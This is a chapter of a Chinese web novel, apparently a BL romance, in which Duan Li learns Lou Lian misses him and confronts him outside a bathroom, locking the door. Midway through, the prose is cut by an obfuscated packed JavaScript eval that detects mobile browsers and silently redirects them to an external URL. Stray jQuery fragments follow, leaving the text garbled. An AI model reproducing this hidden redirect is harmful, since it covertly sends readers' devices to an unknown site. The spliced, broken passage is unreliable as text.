段黎拿着手机的手不受控制地颤抖,视线定格在屏幕的“喜欢”二字。一种难以言喻的情绪从内心油然而生,刺激地他鼻尖发酸,心跳变得越来越快,在静谧的黑暗里格外清晰。


    喜欢他......


    娄怜......喜欢他?


    段黎几乎是下意识按向屏幕,像是冬日雪地捧着唯一的火柴,捧着手机指尖颤抖。对话框的字敲了一长串,可他又像是突然失去语言的组织能力,错字连篇,最后又不满意地全部清空。


    他想要问的实在太多了,可又不知道该从何问起。反反复复敲了不知道多少回,才终于成功发送出去,万千思绪汇成短短四个字。


    “他很难过?”


    段黎的脑袋一团浆糊,压根没注意到孟泽临将姓名打错了。发送完又迅速息屏,逃避般仰头望向隧道,入眼是深不见底的漆黑,他极力平复呼吸阖眼,紧张到掌心沁出汗渍。


    真可笑啊。


    明明是他提出的问题,可他又不敢真的去直视答案。


    因为他怕。


    害怕这些只是他自作多情,害怕答案撕碎这场漏洞百出的黄粱大梦。


    娄怜那么倨傲落拓,怎么会因为他走了而难过,他的存在本来就无足轻重,高高在上的小少爷理应嗤之以鼻才对。


    又怎么会在意他。


    怎么会喜欢他。


    可段黎不知为何,莫名想起意外落下的那一吻。


    小少爷张皇失措,青涩到不像万花丛中过的风流二世祖,而是不谙世事的雏.儿。


    唇瓣温热,柔软如绫罗绸缎,甘冽清幽的玫瑰香气潋滟,蜻蜓点水一触即分。


    段黎缓缓掀开眼帘,眸光微闪,心跳更加急促,不知是紧张还是难以启齿的欲望。


    他......


    不讨厌这种感觉。


    反而有些喜欢。


    段黎觉得自己真的要疯了。


    胡思乱想的时候,手机陡然发出一声清脆的消息提示音,段黎身体跟着一颤,一时间竟然不敢去看。


    消息“叮叮当当”响了许多声,见一直段黎没有回复,对方直接打来语音通话,悠扬悦耳的电话铃声在空旷寂静的隧道乍响。


    “喂,请问能听到吗?对,在段先生您走了以后,粉丝小哥表现的很难过,一直魂不守舍。”


    “我后来去问了那位拼桌的小姐,他们并不是情侣关系,只是单纯坐在一起而已。我不知道这个消息对您有没有用,但是我想,你们之间确实可以好好聊聊。”


    “段先生您在听吗?段先生?”


    后面的话,段黎一个字也没听进去,手机慢慢沿着指缝滑落,径直摔在地上,手机屏霎时裂作白色的蛛网状,可他压根没在意。


    一个想法破茧而出,在心中恣意叫嚣,占据理智。


    他想见娄怜......


    他要去见娄怜!


    *


    水雾弥漫整间浴室,缥缈萦绕在天花板的照明灯下,晶莹的水珠沿着镜子滴落。


    娄怜眉眼衔着倦怠,手臂撑在透明的玻璃门,虚虚倚靠敛眸。温热的水流浇灌后颈,循锁骨一路滑过人鱼线,划过一道道浅淡的水痕,落在脚边。


    惩罚时长足有六个小时,现在才过去两个小时,简直是要了他的老命。


    娄怜此时已经难受到眼泪干涸,只剩下无法填补的空虚,他只想快点洗完澡睡觉,熬过接下来的四个小时。


    系统贴心地给他打了满屏马赛克,不忘调侃他:【幸亏宿主没有抽到雷击,不然现在洗澡会触发感电反应,直接化身电击小子。】


    娄怜闻言缓慢抬眼,扯出一丝比哭还难看的假笑。


    【......滚。】


    系统犯完贱就开溜:【好嘞。】


    这个澡洗的格外艰难,娄怜像是搁浅的鱼,动作变得格外缓慢,脊背被水流浇的泛起曼陀沙华般的殷红。


    绯色


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14961729|161073||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的耳根衬得耳垂的耳钉越发黝黑,黑曜石般的发梢耷拉在颈项,他极慢地撩了起来,别在耳后。


    好累。


    洗个澡怎么能这么累。


    比他当初上大学熬夜写六千字论文还累。


    能不能来个人帮他洗......算了,有点太变态了。


    不知过去多久,花洒才终于停止流动,窸窸窣窣的声响扬起又归于寂静,浴室的门被漫不经心拉开。


    甫一露出缝隙,一只黑鞋猝然出现在门后,仿佛等待已久。


    娄怜搭在门把的手一顿,视线慢慢上移,颀长的腿,勾勒出完美身量的白衬衫,以及......


    段黎那张熟悉到让他头疼的脸。


    段黎不知道在门后站了多久,白绫覆目看不清神色,在开门的刹那间,呼吸明显一窒。


    娄怜:“?”


    是他开门的方式不对吗?


    段黎不是走了吗,为什么会突然出现在这里?


    难道他洗太久缺氧了,出现幻觉了?


    娄怜面不改色,又默默将门关上。


    一定是眼花了,一定是。


    可他并没有如愿关上门,黑鞋不由分说挤进门缝,白皙泛着病气的手搭上门侧,硬生生将门重新抵开。


    “你......你来干什么,出去。”


    娄怜心中骤惊,脚跟无意识后退,反应过来时后腰不慎抵在洗手池,手掌被迫撑在两侧稳住身形。


    他出来的时候随意裹了件浴袍,松垮披在身上,上半身基本没系扣子,莹白的腹肌若隐若现。腰腹处的蝴蝶结分外松散,轻轻一扯就能流露旖旎的风光。


    小少爷眉眼恹恹倦意,许是被热气熏的,古桐色的眸子噙着迷离,醉酒般透着若有若无的色气。


    “我有些事,想和你谈谈。”


    说完,段黎眸光流转,身后的手不动声色按在门把上方,“咔哒”一声。


    反手将门锁上了。